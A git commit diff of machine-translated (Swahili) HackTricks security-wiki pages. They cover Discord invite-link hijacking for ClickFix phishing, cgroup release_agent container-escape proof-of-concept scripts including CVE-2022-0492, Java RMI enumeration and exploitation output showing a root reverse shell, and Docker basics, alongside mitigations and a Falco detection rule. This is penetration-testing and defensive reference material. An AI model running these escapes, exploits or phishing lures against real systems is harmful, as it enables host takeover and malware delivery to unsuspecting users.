Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:26:35 +00:00
parent d34e7108ce
commit 813f612518
7 changed files with 184 additions and 112 deletions

View File

@ -4,13 +4,13 @@
Uwezo wa mfumo wa mwaliko wa Discord unaruhusu wahalifu kudai nambari za mwaliko zilizokwisha muda au kufutwa (za muda, za kudumu, au za kibinafsi) kama viungo vipya vya kibinafsi kwenye seva yoyote iliyoimarishwa kiwango cha 3. Kwa kupeleka nambari zote kwa herufi ndogo, washambuliaji wanaweza kujiandikisha mapema nambari za mwaliko zinazojulikana na kwa kimya kuhamasisha trafiki mara nambari ya asili inapokwisha muda au seva ya chanzo inapopoteza nguvu yake.
## Aina za Mwaliko na Hatari ya Kuiba
## Aina za Mwaliko na Hatari ya Hijack
| Aina ya Mwaliko | Inaweza Kuibwa? | Masharti / Maoni |
|-----------------------|------------------|-----------------------------------------------------------------------------------------------------------|
| Kiungo cha Mwaliko wa Muda | ✅ | Baada ya kuisha, nambari inapatikana na inaweza kujiandikisha tena kama URL ya kibinafsi na seva iliyoimarishwa. |
| Kiungo cha Mwaliko wa Kudumu | ⚠️ | Ikiwa imefutwa na inajumuisha herufi ndogo tu na nambari, nambari inaweza kupatikana tena. |
| Kiungo cha Kibinafsi | ✅ | Ikiwa seva ya asili inapoteza nguvu yake ya Kiwango cha 3, mwaliko wake wa kibinafsi unapatikana kwa usajili mpya. |
| Aina ya Mwaliko | Inaweza Kuwa Hijacked? | Masharti / Maoni |
|-----------------------|-----------------------|-------------------------------------------------------------------------------------------------------|
| Kiungo cha Mwaliko wa Muda | ✅ | Baada ya kuisha, nambari inapatikana na inaweza kujiandikisha tena kama URL ya kibinafsi na seva iliyoimarishwa. |
| Kiungo cha Mwaliko wa Kudumu | ⚠️ | Ikiwa imefutwa na inajumuisha herufi ndogo tu na nambari, nambari inaweza kupatikana tena. |
| Kiungo cha Kibinafsi | ✅ | Ikiwa seva ya asili inapoteza nguvu yake ya Kiwango cha 3, mwaliko wake wa kibinafsi unapatikana kwa usajili mpya. |
## Hatua za Kutumia
@ -19,21 +19,21 @@ Uwezo wa mfumo wa mwaliko wa Discord unaruhusu wahalifu kudai nambari za mwaliko
- Kusanya nambari za mwaliko zinazovutia (za muda au za kibinafsi).
2. Usajili wa Mapema
- Unda au tumia seva ya Discord iliyopo yenye haki za Kiwango cha 3.
- Katika **Mipangilio ya Seva → URL ya Kibinafsi**, jaribu kupewa nambari ya mwaliko wa lengo. Ikiwa inakubaliwa, nambari hiyo inahifadhiwa na seva mbaya.
3. Kuanzisha Kuiba
- Katika **Mipangilio ya Seva → URL ya Kibinafsi**, jaribu kupeana nambari ya mwaliko wa lengo. Ikiwa inakubaliwa, nambari hiyo inahifadhiwa na seva mbaya.
3. Kuanzisha Hijack
- Kwa mwaliko wa muda, subiri hadi mwaliko wa asili uishe (au uifute kwa mikono ikiwa unadhibiti chanzo).
- Kwa nambari zinazojumuisha herufi kubwa, toleo la herufi ndogo linaweza kudaiwa mara moja, ingawa uelekezaji unaanza tu baada ya kuisha.
4. Uelekezaji wa Kimya
- Watumiaji wanaotembelea kiungo cha zamani wanapelekwa kwa urahisi kwenye seva inayodhibitiwa na mshambuliaji mara tu kuiba inapoanza.
- Watumiaji wanaotembelea kiungo cha zamani wanapelekwa kwa urahisi kwenye seva inayodhibitiwa na mshambuliaji mara tu hijack inapoanza.
## Mchakato wa Phishing kupitia Seva ya Discord
1. Punguza vituo vya seva ili tu kituo cha **#verify** kiwe visible.
2. Tumia bot (mfano, **Safeguard#0786**) kuhamasisha wapya kuthibitisha kupitia OAuth2.
2. Tumia bot (mfano, **Safeguard#0786**) kuwasihi wapya kuthibitisha kupitia OAuth2.
3. Bot inaelekeza watumiaji kwenye tovuti ya phishing (mfano, `captchaguard.me`) chini ya kivuli cha hatua ya CAPTCHA au uthibitisho.
4. Tekeleza hila ya UX ya **ClickFix**:
- Onyesha ujumbe wa CAPTCHA ulioharibika.
- Mwongoze watumiaji kufungua mazungumzo ya **Win+R**, kubandika amri ya PowerShell iliyopakiwa mapema, na kubonyeza Enter.
- Waongoze watumiaji kufungua mazungumzo ya **Win+R**, kubandika amri ya PowerShell iliyopakiwa mapema, na kubonyeza Enter.
### Mfano wa Uingizaji wa ClickFix Clipboard
```javascript
@ -50,12 +50,12 @@ Hii mbinu inakwepa upakuaji wa moja kwa moja wa faili na inatumia vipengele vya
- Tumia viungo vya mwaliko vya kudumu vinavyokuwa na angalau herufi moja kubwa au alama zisizo za nambari (hazitakoma, hazitumiwi tena).
- Badilisha mara kwa mara misimbo ya mwaliko na kufuta viungo vya zamani.
- Fuata hali ya kuimarisha seva ya Discord na madai ya URL ya urembo.
- Fuata hali ya kuimarisha seva ya Discord na madai ya URL ya vanity.
- Wafundishe watumiaji kuthibitisha uhalali wa seva na kuepuka kutekeleza amri zilizopachikwa kwenye clipboard.
## References
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**Kwa maelezo zaidi, rejelea** [**blogu ya asili**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Hii ni muhtasari tu:
Original PoC:
---
## Classic PoC (2019)
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Uthibitisho wa dhana (PoC) unaonyesha njia ya kutumia cgroups kwa kuunda faili ya `release_agent` na kuanzisha kuitwa kwake ili kutekeleza amri zisizo na mipaka kwenye mwenyeji wa kontena. Hapa kuna muhtasari wa hatua zinazohusika:
The PoC inatumia kipengele cha **cgroup-v1** `release_agent`: wakati kazi ya mwisho ya cgroup ambayo ina `notify_on_release=1` inatoka, kernel (katika **namespaces za awali kwenye mwenyeji**) inatekeleza programu ambayo jina lake la faili limehifadhiwa katika faili inayoweza kuandikwa `release_agent`. Kwa sababu utekelezaji huo unafanyika kwa **haki kamili za mzizi kwenye mwenyeji**, kupata ufikiaji wa kuandika kwenye faili hiyo inatosha kwa kutoroka kwa kontena.
### Mwongozo mfupi, unaosomwa
1. **Andaa cgroup mpya**
1. **Andaa Mazingira:**
- Kadiria `/tmp/cgrp` inaundwa ili kutumikia kama sehemu ya kuunganisha kwa cgroup.
- Kidhibiti cha cgroup cha RDMA kinaunganishwa kwenye hii directory. Katika kesi ya kutokuwepo kwa kidhibiti cha RDMA, inapendekezwa kutumia kidhibiti cha cgroup cha `memory` kama mbadala.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Weka Cgroup ya Mtoto:**
- Cgroup ya mtoto inayoitwa "x" inaundwa ndani ya saraka ya cgroup iliyowekwa.
- Arifa zinawekwa kuwa active kwa cgroup "x" kwa kuandika 1 kwenye faili yake ya notify_on_release.
```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # au o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Sanidi Wakala wa Kutolewa:**
- Njia ya kontena kwenye mwenyeji inapatikana kutoka kwa faili ya /etc/mtab.
- Faili ya release_agent ya cgroup kisha inasanidiwa ili kutekeleza skripti inayoitwa /cmd iliyoko kwenye njia ya mwenyeji iliyopatikana.
2. **Elekeza `release_agent` kwa skripti inayodhibitiwa na mshambuliaji kwenye mwenyeji**
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Unda na Sanidi Skripti ya /cmd:**
- Skripti ya /cmd inaundwa ndani ya kontena na inasanidiwa kutekeleza ps aux, ikielekeza matokeo kwenye faili lililo na jina /output ndani ya kontena. Njia kamili ya /output kwenye mwenyeji imeainishwa.
3. **Angusha payload**
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
cat <<'EOF' > /cmd
#!/bin/sh
ps aux > "$host_path/output"
EOF
chmod +x /cmd
```
5. **Chochea Shambulio:**
- Mchakato unaanzishwa ndani ya cgroup ya mtoto "x" na mara moja unakatishwa.
- Hii inachochea `release_agent` (script ya /cmd), ambayo inatekeleza ps aux kwenye mwenyeji na kuandika matokeo kwenye /output ndani ya kontena.
4. **Chochea notifier**
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # ongeza sisi wenyewe na kutoka mara moja
cat /output # sasa ina michakato ya mwenyeji
```
---
## Uthibitisho wa kernel wa 2022 CVE-2022-0492
Mnamo Februari 2022, Yiqi Sun na Kevin Wang waligundua kwamba **kernel haiku *hakikisha* uwezo wakati mchakato ulipokuwa unandika kwenye `release_agent` katika cgroup-v1** (kazi `cgroup_release_agent_write`).
Kwa ufanisi **mchakato wowote ambao ungeweza kuunganisha hifadhi ya cgroup (kwa mfano kupitia `unshare -UrC`) ungeweza kuandika njia yoyote kwenye `release_agent` bila `CAP_SYS_ADMIN` katika *namespace* ya mtumiaji ya awali**. Katika kontena la Docker/Kubernetes linaloendesha mzizi lililowekwa kwa default, hili liliruhusu:
* kupandisha hadhi hadi mzizi kwenye mwenyeji; ↗
* kutoroka kwa kontena bila kontena kuwa na haki.
Kasoro hiyo ilipewa **CVE-2022-0492** (CVSS 7.8 / Juu) na kutatuliwa katika toleo zifuatazo za kernel (na zote zinazofuata):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Patch commit: `1e85af15da28 "cgroup: Fix permission checking"`.
### Uthibitisho mdogo ndani ya kontena
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Ikiwa kernel ina udhaifu, binary ya busybox kutoka kwa *host* inatekelezwa na root kamili.
### Kuimarisha & Kupunguza
* **Sasisha kernel** (≥ toleo za juu). Patch sasa inahitaji `CAP_SYS_ADMIN` katika *namespace* ya mtumiaji wa *mwanzo* kuandika kwenye `release_agent`.
* **Prefer cgroup-v2** hiyerarhii iliyounganishwa **imeondoa kabisa kipengele cha `release_agent`**, ikiondoa daraja hili la kutoroka.
* **Zima namespaces za watumiaji wasio na mamlaka** kwenye hosts ambazo hazihitaji:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Udhibiti wa ufikiaji wa lazima**: Sera za AppArmor/SELinux zinazokataa `mount`, `openat` kwenye `/sys/fs/cgroup/**/release_agent`, au kuondoa `CAP_SYS_ADMIN`, husitisha mbinu hata kwenye kernels zenye udhaifu.
* **Bind-mask isiyo na kusoma** faili zote za `release_agent` (mfano wa skripti ya Palo Alto):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Ugunduzi wakati wa utekelezaji
[`Falco`](https://falco.org/) inatoa sheria iliyojengwa ndani tangu v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
Kanuni inasababisha kwenye jaribio lolote la kuandika kwenye `*/release_agent` kutoka kwa mchakato ndani ya kontena ambalo bado lina `CAP_SYS_ADMIN`.
## Marejeleo
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) uchambuzi wa kina na skripti ya kupunguza.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Basic Information
_Java Remote Method Invocation_, au _Java RMI_, ni mekanizma ya _RPC_ iliyo na mwelekeo wa vitu inayoruhusu kitu kilichopo katika _Java virtual machine_ moja kuita mbinu kwenye kitu kilichopo katika _Java virtual machine_ nyingine. Hii inawawezesha waendelezaji kuandika programu zilizogawanywa wakitumia mtindo wa mwelekeo wa vitu. Utangulizi mfupi wa _Java RMI_ kutoka mtazamo wa mashambulizi unaweza kupatikana katika [hii blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
_Java Remote Method Invocation_, au _Java RMI_, ni mekanizma ya _RPC_ iliyo na mwelekeo wa vitu inayoruhusu kitu kilichopo katika _Java virtual machine_ moja kuita mbinu kwenye kitu kilichopo katika _Java virtual machine_ nyingine. Hii inawawezesha waendelezaji kuandika programu zilizogawanywa wakitumia mtindo wa mwelekeo wa vitu. Utangulizi mfupi wa _Java RMI_ kutoka mtazamo wa mashambulizi unaweza kupatikana katika [this blackhat talk](https://youtu.be/t_aw1mDNhzI?t=202).
**Default port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -14,20 +14,20 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
Kawaida, ni sehemu za _Java RMI_ za kawaida tu (_RMI Registry_ na _Activation System_) ndizo zinazofungwa kwenye bandari za kawaida. _Vitu vya mbali_ vinavyotekeleza programu halisi ya _RMI_ kawaida vinafungwa kwenye bandari za nasibu kama inavyoonyeshwa kwenye matokeo hapo juu.
Kawaida, sehemu za _Java RMI_ za kawaida (maktaba ya _RMI_ na mfumo wa _Activation_) zimefungwa kwenye bandari za kawaida. Vitu vya _remote_ vinavyotekeleza programu halisi ya _RMI_ kawaida vimefungwa kwenye bandari za nasibu kama inavyoonyeshwa kwenye matokeo hapo juu.
_nmap_ wakati mwingine ina shida kutambua huduma za _RMI_ zilizolindwa na _SSL_. Ikiwa unakutana na huduma isiyojulikana ya ssl kwenye bandari ya kawaida ya _RMI_, unapaswa kuchunguza zaidi.
## RMI Components
Kwa maneno rahisi, _Java RMI_ inamruhusu mendelezi kufanya _Java object_ ipatikane kwenye mtandao. Hii inafungua bandari ya _TCP_ ambapo wateja wanaweza kuungana na kuita mbinu kwenye kitu husika. Ingawa hii inasikika kuwa rahisi, kuna changamoto kadhaa ambazo _Java RMI_ inahitaji kutatua:
Kwa maneno rahisi, _Java RMI_ inaruhusu mendelezi kufanya _Java object_ ipatikane kwenye mtandao. Hii inafungua bandari ya _TCP_ ambapo wateja wanaweza kuungana na kuita mbinu kwenye kitu husika. Ingawa hii inasikika rahisi, kuna changamoto kadhaa ambazo _Java RMI_ inahitaji kutatua:
1. Ili kutuma wito wa mbinu kupitia _Java RMI_, wateja wanahitaji kujua anwani ya IP, bandari inayosikiliza, darasa au interface iliyotekelezwa na `ObjID` ya kitu kilichokusudiwa ( `ObjID` ni kitambulisho cha kipekee na nasibu ambacho kinaundwa wakati kitu kinapatikana kwenye mtandao. Inahitajika kwa sababu _Java RMI_ inaruhusu vitu vingi kusikiliza kwenye bandari moja ya _TCP_).
2. Wateja wa mbali wanaweza kugawa rasilimali kwenye seva kwa kuita mbinu kwenye kitu kilichofichuliwa. _Java virtual machine_ inahitaji kufuatilia ni zipi kati ya rasilimali hizi bado zinatumika na zipi kati yao zinaweza kukusanywa kama taka.
Changamoto ya kwanza inatatuliwa na _RMI registry_, ambayo kimsingi ni huduma ya upatanishi kwa _Java RMI_. _RMI registry_ yenyewe pia ni _RMI service_, lakini interface iliyotekelezwa na `ObjID` ni thabiti na inajulikana na wateja wote wa _RMI_. Hii inaruhusu wateja wa _RMI_ kutumia _RMI_ registry kwa kujua tu bandari husika ya _TCP_.
Changamoto ya kwanza inatatuliwa na _RMI registry_, ambayo kimsingi ni huduma ya upatanishi kwa _Java RMI_. _RMI registry_ yenyewe pia ni huduma ya _RMI_, lakini interface iliyotekelezwa na `ObjID` ni thabiti na inajulikana na wateja wote wa _RMI_. Hii inaruhusu wateja wa _RMI_ kutumia _RMI registry_ kwa kujua tu bandari husika ya _TCP_.
Wakati waendelezaji wanataka kufanya _Java objects_ zao zipatikane ndani ya mtandao, kawaida wanazifunga kwenye _RMI registry_. _Registry_ inahifadhi taarifa zote zinazohitajika kuungana na kitu (anwani ya IP, bandari inayosikiliza, darasa au interface iliyotekelezwa na thamani ya `ObjID`) na inafanya ipatikane chini ya jina linaloweza kusomeka na binadamu (jina lililofungwa). Wateja wanaotaka kutumia _RMI service_ wanauliza _RMI registry_ kwa jina lililofungwa husika na registry inarudisha taarifa zote zinazohitajika kuungana. Hivyo, hali ni sawa na huduma ya kawaida ya _DNS_. Orodha ifuatayo inaonyesha mfano mdogo:
Wakati waendelezaji wanataka kufanya _Java objects_ zao zipatikane ndani ya mtandao, kawaida huziunganisha na _RMI registry_. _Registry_ inahifadhi taarifa zote zinazohitajika kuungana na kitu (anwani ya IP, bandari inayosikiliza, darasa au interface iliyotekelezwa na thamani ya `ObjID`) na inafanya ipatikane chini ya jina linaloweza kusomeka na binadamu (jina lililofungwa). Wateja wanaotaka kutumia huduma ya _RMI_ wanauliza _RMI registry_ kwa jina lililofungwa husika na _registry_ inarudisha taarifa zote zinazohitajika kuungana. Hivyo, hali ni sawa na huduma ya kawaida ya _DNS_. Orodha ifuatayo inaonyesha mfano mdogo:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -51,19 +51,19 @@ e.printStackTrace();
}
}
```
Changamoto ya pili iliyotajwa hapo juu inatatuliwa na _Distributed Garbage Collector_ (_DGC_). Hii ni huduma nyingine ya _RMI_ yenye thamani ya `ObjID` inayojulikana na inapatikana kwenye kila _RMI endpoint_. Wakati _RMI client_ inaanza kutumia _RMI service_, inatuma taarifa kwa _DGC_ kwamba _remote object_ husika inatumika. _DGC_ inaweza kufuatilia idadi ya marejeleo na inaweza kusafisha vitu visivyotumika.
Changamoto ya pili kati ya zile zilizotajwa hapo juu inatatuliwa na _Distributed Garbage Collector_ (_DGC_). Hii ni huduma nyingine ya _RMI_ yenye thamani ya `ObjID` inayojulikana na inapatikana kwenye kila _RMI endpoint_. Wakati _RMI client_ inaanza kutumia huduma ya _RMI_, inatuma taarifa kwa _DGC_ kwamba _remote object_ husika inatumika. _DGC_ inaweza kufuatilia idadi ya marejeleo na inaweza kusafisha vitu visivyotumika.
Pamoja na _Activation System_ iliyoshindikana, hizi ndizo sehemu tatu za kawaida za _Java RMI_:
Pamoja na _Activation System_ iliyotengwa, hizi ndizo sehemu tatu za kawaida za _Java RMI_:
1. _RMI Registry_ (`ObjID = 0`)
2. _Activation System_ (`ObjID = 1`)
3. _Distributed Garbage Collector_ (`ObjID = 2`)
Sehemu za kawaida za _Java RMI_ zimekuwa njia za shambulio zinazojulikana kwa muda mrefu na udhaifu kadhaa upo katika toleo za zamani za _Java_. Kutoka kwa mtazamo wa mshambuliaji, sehemu hizi za kawaida ni za kuvutia, kwa sababu zinaweza kutekeleza madarasa / interfaces zinazojulikana na ni rahisi kuingiliana nazo. Hali hii ni tofauti kwa huduma za _RMI_ za kawaida. Ili kuita njia kwenye _remote object_, unahitaji kujua saini ya njia husika mapema. Bila kujua saini ya njia iliyopo, hakuna njia ya kuwasiliana na _RMI service_.
Sehemu za kawaida za _Java RMI_ zimekuwa njia za shambulio zinazojulikana kwa muda mrefu na udhaifu mwingi upo katika toleo la zamani la _Java_. Kutoka kwa mtazamo wa mshambuliaji, sehemu hizi za kawaida ni za kuvutia, kwa sababu zinaweza kutekeleza madarasa / interfaces zinazojulikana na ni rahisi kuingiliana nazo. Hali hii ni tofauti kwa huduma za _RMI_ za kawaida. Ili kuita njia kwenye _remote object_, unahitaji kujua saini ya njia husika mapema. Bila kujua saini ya njia iliyopo, hakuna njia ya kuwasiliana na _RMI service_.
## RMI Enumeration
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ni skana ya udhaifu ya _Java RMI_ inayoweza kubaini udhaifu wa kawaida wa _RMI_ kiotomatiki. Kila wakati unapotambua _RMI_ endpoint, unapaswa kujaribu:
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) ni skana ya udhaifu wa _Java RMI_ inayoweza kubaini udhaifu wa kawaida wa _RMI_ kiotomatiki. Kila wakati unapotambua _RMI_ endpoint, unapaswa kujaribu:
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+]
[+] RMI server codebase enumeration:
[+]
[+] - http://iinsecure.dev/well-hidden-development-folder/
[+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+]
@ -123,7 +123,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Matokeo ya hatua ya kuorodhesha yanaelezewa kwa undani zaidi katika [kurasa za hati](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) za mradi. Kulingana na matokeo, unapaswa kujaribu kuthibitisha udhaifu ulioainishwa.
Matokeo ya hatua ya kuorodhesha yanaelezewa kwa undani zaidi katika [documentation pages](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) ya mradi. Kulingana na matokeo, unapaswa kujaribu kuthibitisha udhaifu ulioainishwa.
Thamani za `ObjID` zinazonyeshwa na _remote-method-guesser_ zinaweza kutumika kubaini muda wa huduma. Hii inaweza kuruhusu kubaini udhaifu mwingine:
```
@ -140,7 +140,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
Hata wakati hakuna udhaifu ulioainishwa wakati wa kuhesabu, huduma za _RMI_ zilizopo zinaweza bado kufichua kazi hatari. Zaidi ya hayo, licha ya mawasiliano ya _RMI_ na vipengele vya kawaida vya _RMI_ kulindwa na filters za deserialization, wakati wa kuzungumza na huduma za _RMI_ za kawaida, filters hizo kwa kawaida hazipo. Kujua saini sahihi za mbinu kwenye huduma za _RMI_ ni muhimu.
Kwa bahati mbaya, _Java RMI_ haisaidii kuhesabu mbinu kwenye _vitu vya mbali_. Hata hivyo, inawezekana kufanyia kazi saini za mbinu kwa kutumia zana kama [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) au [rmiscout](https://github.com/BishopFox/rmiscout):
Kwa bahati mbaya, _Java RMI_ haisaidii kuhesabu mbinu kwenye _vitu vya mbali_. Hata hivyo, inawezekana kubruteforce saini za mbinu kwa kutumia zana kama [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) au [rmiscout](https://github.com/BishopFox/rmiscout):
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -198,7 +198,7 @@ Ncat: Connection from 172.17.0.2:45479.
id
uid=0(root) gid=0(root) groups=0(root)
```
Maelezo zaidi yanaweza kupatikana katika makala hizi:
Zaidi ya habari zinaweza kupatikana katika makala haya:
- [Attacking Java RMI services after JEP 290](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
- [Method Guessing](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+]
[+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi
[+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+]
[+] Vulnerabilities:
[+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+]
[+] -----------------------------------
[+] Name:
@ -266,7 +266,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks.
[+]
[+] References:
[+] - https://github.com/qtc-de/beanshooter
[+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
```
## Shodan

View File

@ -6,12 +6,12 @@
#### Nini
Docker ni **jukwaa la mbele** katika **sekta ya uundaji wa kontena**, likiongoza **uvumbuzi endelevu**. Inarahisisha uundaji na usambazaji wa programu kwa urahisi, kuanzia **za jadi hadi za kisasa**, na kuhakikisha **kupelekwa salama** kwa mazingira mbalimbali.
Docker ni **jukwaa la mbele** katika **sekta ya uhamasishaji**, likiongoza **uvumbuzi endelevu**. Inarahisisha uundaji na usambazaji wa programu, kuanzia **za jadi hadi za kisasa**, na kuhakikisha **kupelekwa salama** kwao katika mazingira mbalimbali.
#### Msingi wa usanifu wa docker
- [**containerd**](http://containerd.io): Hii ni **muda wa msingi** kwa ajili ya kontena, ikihusika na **usimamizi wa maisha ya kontena** kwa kina. Hii inajumuisha kushughulikia **uhamishaji na uhifadhi wa picha**, pamoja na kusimamia **utekelezaji, ufuatiliaji, na mtandao** wa kontena. **Maelezo zaidi** kuhusu containerd yanachunguzwa **zaidi**.
- **container-shim** ina jukumu muhimu kama **katikati** katika kushughulikia **kontena zisizo na kichwa**, ikichukua nafasi kutoka **runc** baada ya kontena kuanzishwa.
- [**containerd**](http://containerd.io): Hii ni **muda wa msingi** kwa ajili ya kontena, ikihusika na **usimamizi wa maisha ya kontena**. Hii inajumuisha kushughulikia **uhamasishaji wa picha na uhifadhi**, pamoja na kusimamia **utekelezaji, ufuatiliaji, na mtandao** wa kontena. **Maelezo zaidi** kuhusu containerd yanachunguzwa **zaidi**.
- **container-shim** ina jukumu muhimu kama **katikati** katika kushughulikia **kontena zisizo na kichwa**, ikichukua kwa urahisi kutoka **runc** baada ya kontena kuanzishwa.
- [**runc**](http://runc.io): Inajulikana kwa uwezo wake wa **muda wa kontena mwepesi na wa ulimwengu wote**, runc inalingana na **kiwango cha OCI**. Inatumika na containerd ku **anzisha na kusimamia kontena** kulingana na **miongozo ya OCI**, ikiwa imekua kutoka kwa **libcontainer** ya awali.
- [**grpc**](http://www.grpc.io) ni muhimu kwa **kuwezesha mawasiliano** kati ya containerd na **docker-engine**, kuhakikisha **mawasiliano yenye ufanisi**.
- [**OCI**](https://www.opencontainers.org) ni muhimu katika kudumisha **viwango vya OCI** kwa muda wa utekelezaji na picha, huku toleo jipya la Docker likiwa **linatii viwango vya picha na muda wa utekelezaji wa OCI**.
@ -43,9 +43,9 @@ docker system prune -a
**Containerd** ilitengenezwa mahsusi kutumikia mahitaji ya majukwaa ya kontena kama **Docker na Kubernetes**, miongoni mwa mengine. Inalenga **kurahisisha utekelezaji wa kontena** katika mifumo mbalimbali ya uendeshaji, ikiwa ni pamoja na Linux, Windows, Solaris, na mengine, kwa kubainisha kazi maalum za mfumo wa uendeshaji na wito wa mfumo. Lengo la Containerd ni kujumuisha tu vipengele muhimu vinavyohitajika na watumiaji wake, ikijitahidi kuondoa vipengele visivyohitajika. Hata hivyo, kufikia lengo hili kikamilifu kunatambuliwa kuwa changamoto.
Uamuzi muhimu wa muundo ni kwamba **Containerd haitunza mtandao**. Mtandao unachukuliwa kuwa kipengele muhimu katika mifumo iliyosambazwa, ikiwa na changamoto kama vile Software Defined Networking (SDN) na ugunduzi wa huduma ambazo zinatofautiana sana kutoka jukwaa moja hadi jingine. Kwa hivyo, Containerd inaacha masuala ya mtandao yachukuliwe na majukwaa inayoyasaidia.
Uamuzi muhimu wa kubuni ni kwamba **Containerd haitunza mtandao**. Mtandao unachukuliwa kuwa kipengele muhimu katika mifumo iliyosambazwa, ikiwa na changamoto kama vile Software Defined Networking (SDN) na ugunduzi wa huduma ambazo zinatofautiana sana kutoka jukwaa moja hadi jingine. Kwa hivyo, Containerd inacha masuala ya mtandao kushughulikiwa na majukwaa inayoyasaidia.
